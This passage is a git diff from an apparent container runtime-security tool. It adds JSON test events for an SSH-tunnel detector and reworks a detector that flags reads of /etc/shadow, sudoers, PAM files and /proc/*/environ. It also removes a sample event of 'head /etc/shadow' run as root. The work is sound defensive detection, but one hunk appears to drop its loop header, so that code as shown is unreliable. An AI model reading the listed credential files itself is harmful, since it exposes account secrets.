a/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_USE/testdata/negative_non_sshd.json b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_USE/testdata/negative_non_sshd.json new file mode 100644 index 00000000..6df5b49e --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_USE/testdata/negative_non_sshd.json @@ -0,0 +1,32 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/curl", + "arguments": "https://example.com" + }, + "function_name": "tcp_connect", + "args": [ + { + "sock_arg": { + "daddr": "203.0.113.10", + "dport": 443 + } + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_USE/testdata/positive_ssh_local_tunnel.json b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_USE/testdata/positive_ssh_local_tunnel.json new file mode 100644 index 00000000..074e40c7 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_SSH_TUNNEL_USE/testdata/positive_ssh_local_tunnel.json @@ -0,0 +1,502 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDQyMDU5MjE0Njg1ODM6MTU2ODY2Ng==", + "pid": 1568666, + "uid": 0, + "cwd": "/", + "binary": "/usr/sbin/sshd", + "arguments": "-D -e -f /etc/ssh/sshd_config -R", + "flags": "execve rootcwd clone", + "start_time": "2024-07-04T14:22:21.567678504Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "openssh-server", + "container": { + "id": "cri-o://d665767d27511008a0c12fae494594ef5daf1d01af7ee3a213c5ebc14348fce8", + "name": "openssh-server", + "image": { + "id": "docker.io/panubo/sshd@sha256:6c2864b883d9e78565a5b0ed127a0a0bd8289fa046b76f55d12d1bd544a4e0b8", + "name": "docker.io/panubo/sshd:latest" + }, + "start_time": "2024-07-04T14:12:58Z", + "pid": 68, + "maybe_exec_probe": false + }, + "pod_labels": { + "app": "sshd" + }, + "workload": "openssh-server", + "workload_kind": "Pod" + }, + "docker": "d665767d27511008a0c12fae494594e", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDM2NDg0Nzc0MDgxNTI6MTU2MDQ1MQ==", + "refcnt": 2, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "inheritable": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ] + }, + "ns": { + "uts": { + "inum": 4026533570, + "is_host": false + }, + "ipc": { + "inum": 4026533571, + "is_host": false + }, + "mnt": { + "inum": 4026533964, + "is_host": false + }, + "pid": { + "inum": 4026533965, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533965, + "is_host": false + }, + "net": { + "inum": 4026533572, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1568666, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDM2NDg0Nzc0MDgxNTI6MTU2MDQ1MQ==", + "pid": 1560451, + "uid": 0, + "cwd": "/", + "binary": "/usr/sbin/sshd", + "arguments": "-D -e -f /etc/ssh/sshd_config", + "flags": "execve rootcwd clone", + "start_time": "2024-07-04T14:13:04.123618324Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "openssh-server", + "container": { + "id": "cri-o://d665767d27511008a0c12fae494594ef5daf1d01af7ee3a213c5ebc14348fce8", + "name": "openssh-server", + "image": { + "id": "docker.io/panubo/sshd@sha256:6c2864b883d9e78565a5b0ed127a0a0bd8289fa046b76f55d12d1bd544a4e0b8", + "name": "docker.io/panubo/sshd:latest" + }, + "start_time": "2024-07-04T14:12:58Z", + "pid": 42, + "maybe_exec_probe": false + }, + "pod_labels": { + "app": "sshd" + }, + "workload": "openssh-server", + "workload_kind": "Pod" + }, + "docker": "d665767d27511008a0c12fae494594e", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjQxNDM2NDI2NjM0OTk3MDk6MTU2MDMxMA==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ], + "inheritable": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ", + "CAP_PERFMON", + "CAP_BPF", + "CAP_CHECKPOINT_RESTORE" + ] + }, + "ns": { + "uts": { + "inum": 4026533570, + "is_host": false + }, + "ipc": { + "inum": 4026533571, + "is_host": false + }, + "mnt": { + "inum": 4026533964, + "is_host": false + }, + "pid": { + "inum": 4026533965, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533965, + "is_host": false + }, + "net": { + "inum": 4026533572, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026531835, + "is_host": true + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1560451, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "function_name": "tcp_connect", + "args": [ + { + "sock_arg": { + "family": "AF_INET", + "type": "SOCK_STREAM", + "protocol": "IPPROTO_TCP", + "mark": 0, + "priority": 0, + "saddr": "10.244.0.245", + "daddr": "10.244.0.232", + "sport": 38854, + "dport": 8080, + "cookie": "18446618302131282688", + "state": "TCP_SYN_SENT" + }, + "label": "" + } + ], + "return": null, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "connect", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [] + }, + "node_name": "test-k8s-cluster", + "time": "2024-07-04T14:24:52.461134895Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_SSH_TUNNEL_USE", + "severity": "MEDIUM", + "reason_contains": "local tunnel", + "tactics": [ + "TA0001", + "TA0003", + "TA0008", + "TA0011" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "MEDIUM", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_SUSP_FILE_READ/main.go b/event-processor/detector/wasm/CS_RT_SUSP_FILE_READ/main.go index 1111b8cf..975f1e4d 100644 --- a/event-processor/detector/wasm/CS_RT_SUSP_FILE_READ/main.go +++ b/event-processor/detector/wasm/CS_RT_SUSP_FILE_READ/main.go @@ -5,6 +5,7 @@ package main import ( "context" "fmt" + "strings" "github.com/gobwas/glob" "github.com/runtime-radar/runtime-radar/event-processor/detector/api" @@ -21,13 +22,30 @@ const ( ) const ( - // File access permissions - // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L101 - MAY_READ = 4 - // Memory page access permissions - // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L10 - PROT_READ = 1 + // Account + KprobeUtilsReadAccountsNoArgs = "Detected that the `%s` file with accounts was read by the `%s` utility" + KprobeUtilsReadAccountsDefault = "Detected that the `%s` file with accounts was read by the `%s` utility, which was started using the `%s` arguments" + KprobeDirsReadAccountsNoArgs = "Detected that the `%s` file with accounts was read by the executable file `%s` from the `%s` directory" + KprobeDirsReadAccountsDefault = "Detected that the `%s` file with accounts was read by the executable file `%s` from the `%s` directory started using the `%s` arguments" + + // PAM + KprobeUtilsReadPamNoArgs = "Detected that the `%s` file with the system authentication and authorization settings was read by the `%s` utility" + KprobeUtilsReadPamDefault = "Detected that the `%s` file with the system authentication and authorization settings was read by the `%s` utility started using the `%s` arguments" + KprobeDirsReadPamNoArgs = "Detected that the `%s` file with the system authentication and authorization settings was read by the executable file `%s` from the `%s` directory" + KprobeDirsReadPamDefault = "Detected that the `%s` file with the system authentication and authorization settings was read by the executable file `%s` from the `%s` directory, which was started using the `%s` arguments" + + // SystemInfo + KprobeUtilsReadSysInfoNoArgs = "Detected that the `%s` file with system information was read by the `%s` utility" + KprobeUtilsReadSysInfoDefault = "Detected that the `%s` file with system information was read by the `%s` utility started using the `%s` arguments" + KprobeDirsReadSysInfoNoArgs = "Detected that the `%s` file with system information was read by the executable file `%s` from the `%s` directory" + KprobeDirsReadSysInfoDefault = "Detected that the `%s` file with system information was read by the executable file `%s` from the `%s` directory, which was started using the `%s` arguments" + + // EnvironmentVariables + KprobeUtilsReadEnvVarNoArgs = "Detected that the `%s` file with environment variables was read by the `%s` utility" + KprobeUtilsReadEnvVarDefault = "Detected that the `%s` file with environment variables was read by the `%s` utility started using the `%s` arguments" + KprobeDirsReadEnvVarNoArgs = "Detected that the `%s` file with environment variables was read by the executable file `%s` from the `%s` directory" + KprobeDirsReadEnvVarDefault = "Detected that the `%s` file with environment variables was read by the executable file `%s` from the `%s` directory, which was started using the `%s` arguments" ) var ( @@ -49,14 +67,166 @@ var ( ) var ( - sensitiveFiles = []glob.Glob{ - glob.MustCompile("/etc/shadow"), // users shadow info - glob.MustCompile("/etc/sudoers*"), // superuser security policies - glob.MustCompile("/etc/pam.*"), // authentication module settings - glob.MustCompile("/etc/security/pwquality.conf"), // password policy (pam) - glob.MustCompile("/etc/*-release"), // distribution info - glob.MustCompile("/usr/lib/os-release"), // distribution info (for the most distributions /etc/os-release is a symlink to /usr/lib/os-release) - glob.MustCompile("/proc/*/environ"), // environment variables + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0001", + Techniques: []string{ + "T1078.003", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1078.003", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1078.003", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1078.003", + }, + }, + { + Id: "TA0006", + Techniques: []string{ + "T1003.008", + "T1552.001", + }, + }, + { + Id: "TA0007", + Techniques: []string{ + "T1087.001", + "T1083", + "T1201", + "T1069.001", + }, + }, + { + Id: "TA0009", + Techniques: []string{ + "T1005", + }, + }, + } + + mitreTacticsPam = []*api.MitreTactic{ + { + Id: "TA0007", + Techniques: []string{ + "T1083", + "T1201", + }, + }, + { + Id: "TA0009", + Techniques: []string{ + "T1005", + }, + }, + } + + mitreTacticsAccounts = []*api.MitreTactic{ + { + Id: "TA0001", + Techniques: []string{ + "T1078.003", + }, + }, + { + Id: "TA0003", + Techniques: []string{ + "T1078.003", + }, + }, + { + Id: "TA0004", + Techniques: []string{ + "T1078.003", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1078.003", + }, + }, + { + Id: "TA0006", + Techniques: []string{ + "T1003.008", + "T1552.001", + }, + }, + { + Id: "TA0007", + Techniques: []string{ + "T1087.001", + "T1083", + "T1069.001", + }, + }, + { + Id: "TA0009", + Techniques: []string{ + "T1005", + }, + }, + } + + mitreTacticsOther = []*api.MitreTactic{ + { + Id: "TA0007", + Techniques: []string{ + "T1083", + }, + }, + { + Id: "TA0009", + Techniques: []string{ + "T1005", + }, + }, + } +) + +const ( + // File access permissions + // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L101 + MAY_READ = 4 + + // Memory page access permissions + // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L10 + PROT_READ = 1 +) + +type sensitiveFile struct { + pattern glob.Glob + class string +} + +var ( + sensitiveFiles = []sensitiveFile{ + // Accounts password info + {pattern: glob.MustCompile("/etc/shadow"), class: "Accounts"}, + // Superuser security policies + {pattern: glob.MustCompile("/etc/sudoers*"), class: "Accounts"}, + // Authentication module settings + {pattern: glob.MustCompile("/etc/pam.*"), class: "PAM"}, + // Password policy (PAM) + {pattern: glob.MustCompile("/etc/security/pwquality.conf"), class: "PAM"}, + // Distribution info + {pattern: glob.MustCompile("/etc/*-release"), class: "SystemInfo"}, + // Distribution info (for the most distributions /etc/os-release is a symlink to /usr/lib/os-release) + {pattern: glob.MustCompile("/usr/lib/os-release"), class: "SystemInfo"}, + // Environment variables + {pattern: glob.MustCompile("/proc/*/environ"), class: "EnvironmentVariables"}, } readUtils = []glob.Glob{ @@ -106,8 +276,8 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -115,12 +285,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -155,8 +326,11 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() args := kprobe.GetArgs() + var affectedFile sensitiveFile + sensitiveFile := false switch function { // trigger when security function check for file read access @@ -181,12 +355,20 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe path := args[0].GetFileArg().GetPath() - sensitiveFile := false - for _, file := range sensitiveFiles { - if file.Match(path) { + switch { + case file.pattern.Match(path) && (file.class == "Accounts"): + resp.TacticsCovered = mitreTacticsAccounts + affectedFile = file + sensitiveFile = true + case file.pattern.Match(path) && (file.class == "PAM"): + resp.TacticsCovered = mitreTacticsPam + affectedFile = file + sensitiveFile = true + case file.pattern.Match(path): + resp.TacticsCovered = mitreTacticsOther + affectedFile = file sensitiveFile = true - break } } @@ -197,20 +379,59 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // find out sensitive file reading method // trigger on specific utils reading sensitive files for _, util := range readUtils { - if util.Match(binary) { - resp.Severity = api.DetectResp_HIGH // <-- threat detected - - return resp, nil + if !util.Match(binary) { + continue + } + switch { + case (affectedFile.class == "Accounts") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsReadAccountsNoArgs, path, binary) + case (affectedFile.class == "Accounts") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsReadAccountsDefault, path, binary, binaryArgs) + case (affectedFile.class == "PAM") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsReadPamNoArgs, path, binary) + case (affectedFile.class == "PAM") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsReadPamDefault, path, binary, binaryArgs) + case (affectedFile.class == "SystemInfo") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsReadSysInfoNoArgs, path, binary) + case (affectedFile.class == "SystemInfo") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsReadSysInfoDefault, path, binary, binaryArgs) + case (affectedFile.class == "EnvironmentVariables") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeUtilsReadEnvVarNoArgs, path, binary) + case (affectedFile.class == "EnvironmentVariables") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeUtilsReadEnvVarDefault, path, binary, binaryArgs) } + resp.Severity = api.DetectResp_HIGH // <-- threat detected + + return resp, nil } // trigger on utils from suspicious directories for _, dir := range suspDirs { - if dir.Match(binary) { - resp.Severity = api.DetectResp_MEDIUM // <-- threat detected - - return resp, nil + if !dir.Match(binary) { + continue } + binDir := binary[0 : strings.LastIndex(binary, "/")+1] + switch { + case (affectedFile.class == "Accounts") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsReadAccountsNoArgs, path, binary, binDir) + case (affectedFile.class == "Accounts") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsReadAccountsDefault, path, binary, binDir, binaryArgs) + case (affectedFile.class == "PAM") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsReadPamNoArgs, path, binary, binDir) + case (affectedFile.class == "PAM") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsReadPamDefault, path, binary, binDir, binaryArgs) + case (affectedFile.class == "SystemInfo") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsReadSysInfoNoArgs, path, binary, binDir) + case (affectedFile.class == "SystemInfo") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsReadSysInfoDefault, path, binary, binDir, binaryArgs) + case (affectedFile.class == "EnvironmentVariables") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeDirsReadEnvVarNoArgs, path, binary, binDir) + case (affectedFile.class == "EnvironmentVariables") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeDirsReadEnvVarDefault, path, binary, binDir, binaryArgs) + } + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil } return resp, nil @@ -222,266 +443,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDI1Nzk5OTE2NjMzNDQ6MzI1OTM0MA==", - "pid": 3259340, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/head", - "arguments": "/etc/shadow", - "flags": "execve rootcwd clone", - "start_time": "2024-03-24T07:30:06.785114023Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 70734, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDE2OTY2NzQwOTM2OTM6MzI1MDU5MQ==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3259340, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDE2OTY2NzQwOTM2OTM6MzI1MDU5MQ==", - "pid": 3250591, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-03-24T07:15:23.467544178Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "labels": [], - "container": { - "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-02-27T13:26:02Z", - "pid": 70721, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "332cff0fb99f03f8b4fb9633f245ba2", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM0NDE2OTY2NzI2NjUwMDI6MzI1MDU5MQ==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534978, - "is_host": false - }, - "ipc": { - "inum": 4026534979, - "is_host": false - }, - "mnt": { - "inum": 4026535073, - "is_host": false - }, - "pid": { - "inum": 4026535074, - "is_host": false - }, - "pid_for_children": { - "inum": 4026535074, - "is_host": false - }, - "net": { - "inum": 4026534980, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026535075, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3250591, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null - }, - "function_name": "security_file_permission", - "args": [ - { - "file_arg": { - "mount": "", - "path": "/etc/shadow", - "flags": "" - }, - "label": "" - }, - { - "int_arg": 4, - "label": "" - } - ], - "return": { - "int_arg": 